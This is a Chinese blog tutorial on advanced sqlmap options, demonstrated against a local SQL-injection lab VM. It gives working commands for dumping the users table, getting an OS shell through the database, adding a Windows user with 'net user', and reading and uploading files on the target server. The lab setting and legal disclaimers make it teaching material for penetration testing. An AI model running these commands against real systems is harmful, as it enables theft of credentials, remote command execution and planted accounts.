<返回更多

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

2020-02-22    
加入收藏

本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

前面讲过sqlmap入门参数,这里主要讲解sqlmap的进阶参数。

--level 5:探测等级

这个参数指需要执行的测试等级,一共有5个等级;默认情况下,不加level,就是进行最低的1级探测。

Sqlmap在探测的时候会添加自己内置的payload,不同的等级添加的payload附加就不一样。其中5级是使用全方位的payload进行探测,会自动破解出cookie、XFF等头部注入。当然万事有两面,这样会导致扫描破解非常慢。

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

这个参数还会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。总之,不确定如何测试时,为了保证全面性,建议使用最高的level值 --level 5进行测试。

--is-dba:当前用户是否为管理员权限

该命令用于查询当前用户是否为数据库的管理员。返回True就是,否则就不是:

sqlmap -u http://192.168.31.16/sql/Less-2/?id=1 --is-dba

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

--referer:HTTP Referer头

HTTP Referer是请求头的一部分,当浏览器向web发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

SQLMap可以在请求中伪装HTTP中的referer。当--level设置成3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如--referer 这里就相当于假装从百度页面开始进行sql扫描,形成一个欺骗,而不是从自己电脑发起扫描。

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --referer

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

--sql-shell:运行自定义SQL语句

该命令用于执行指定的SQL语句,相当于返回一个sql环境下的命令窗口!

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --sql-shell

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

这个就是在sql-shell>下可以执行sql查询语句的命令行形式。

比如:select * from users,由于我们访问的是sql目录,对应的数据库就是我们之前创建的sql注入环境的数据库security。所以例举当前数据库security中的表users下所有的内容(其实就是用户和密码)。

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

比如:select version(),就能在sql的命令行中查询对方数据库的版本。

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

--roles:列出数据库管理员角色

该命令查看数据库用户的角色(管理员能够执行的数据库操作行为)。如果当前用户具有权限读取包含所有用户的表,输入该命令会列举每个用户的角色,也可以用-U参数指定想看哪个用户的角色。

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --roles

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

--os-cmd,--os-shell:运行任意操作系统命令

该命令用于执行任意操作系统命令:

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --os-shell

特别注意:使用该命令有几个必须具备的条件:

1、数据库用户权限是dba权限;

可以创建、删除数据库的最高用户权限(--is-dba参数查询为True)

2、知道网站的绝对路径;

就是要知道对方web服务器具体在哪个盘,什么文件夹下。

比如:xampp web服务器脚本运行环境默认路径是C:/xampp/htdocs/, 比如wamp web服务器脚本运行环境默认路径是C:/wamp/www/, 还有lnetpub服务器脚本运行环境默认路径是C:/Inetpub/wwwroot/。

3、php当中的gpc为off,php自动转义为关闭状态

4、就算具备以上条件,由于是涉及到系统命令,也未必可以执行成功。

比如我们使用:sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --os-shell

首先会提示web应用支持什么语言,我们选择4 php。

我们win7靶机中的wamp有php环境。

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

然后提示我们选择目标web服务器的默认绝对路径!

我们win7的wamp确实在c盘中,而且底层的Apache php脚本运行环境在www目录下

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

没想到成功调用了win7的os-shell>,你只需要cmd命令就可以cmd shell的形式通过数据库MySQL来调用win7的系统shell。和我们在win7本地执行的cmd命令一样!

我这里演示了dir,你也可以使用其他任何能使用的cmd命令。

比如ipconfig,比如net user abc 123456 /add远程添加用户,甚至是修改注册表

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

--file-read:从数据库服务器中读取文件

首先,假设win7靶机的c盘有123.txt这个文件;

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

然后在kali终端下输入:

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --file-read C:/123.txt -v 1

该命令用于读取执行文件。当数据库为MySql、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二级制文件可执行文件;

这个命令使用--file-read命令读取了win7靶机中的c盘根目录下文本文件123.txt,提示下载到了kali本地/root/.sqlmap/output/192.168.31.16/files/C__123.txt;

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

去kali的/root/.sqlmap/output/192.168.31.16/files/看看,就能发现文件c_123.txt文件;

“.sqlmap”隐藏目录可以使用搜索找到。

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

--file-write --file-dest:上传文件到数据库服务器

该命令用于写入本地文件到服务器中。当数据为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户具有dba权限。上传的文件可以是文本、或者二进制可执行文件。

首先在kali的主文件夹中新建一个文件"12.txt",随便搞个文件即可!

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

在kali终端输入:

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --file-write /root/12.txt --file-dest C:\abc\12.txt -v 1

这里的--file-write后面指定的是kali本地文件;--file-dest后面指定的是远程服务器的绝对路径,命名为12.txt;

执行完毕,发现已经显示上传成功。保存在对方服务器C:abc12.txt中。

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

去win靶机c盘看看有没有,确实有!

不可不知的sql扫描、注入利器sqlmap——实战演示sqlmap进阶命令

 

到此,我们已经初步学习了SqlMap的进阶操作。这些都是常用的web渗透技术,必须要熟练掌握这些命令的使用,当然前提是你的win7靶机要开启,然后启动WAMP服务器,毕竟我们的SQLMap工具测试都是针对SQL注入靶场环境,切勿用于非测试环境,否则后果自负!

web渗透我想说

关于kali渗透、Web渗透、Android/ target=_blank class=infotextkey>安卓渗透等嘿客技术。请关注小白嘿客,私信获取。欢迎在下方评论区留言讨论!

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>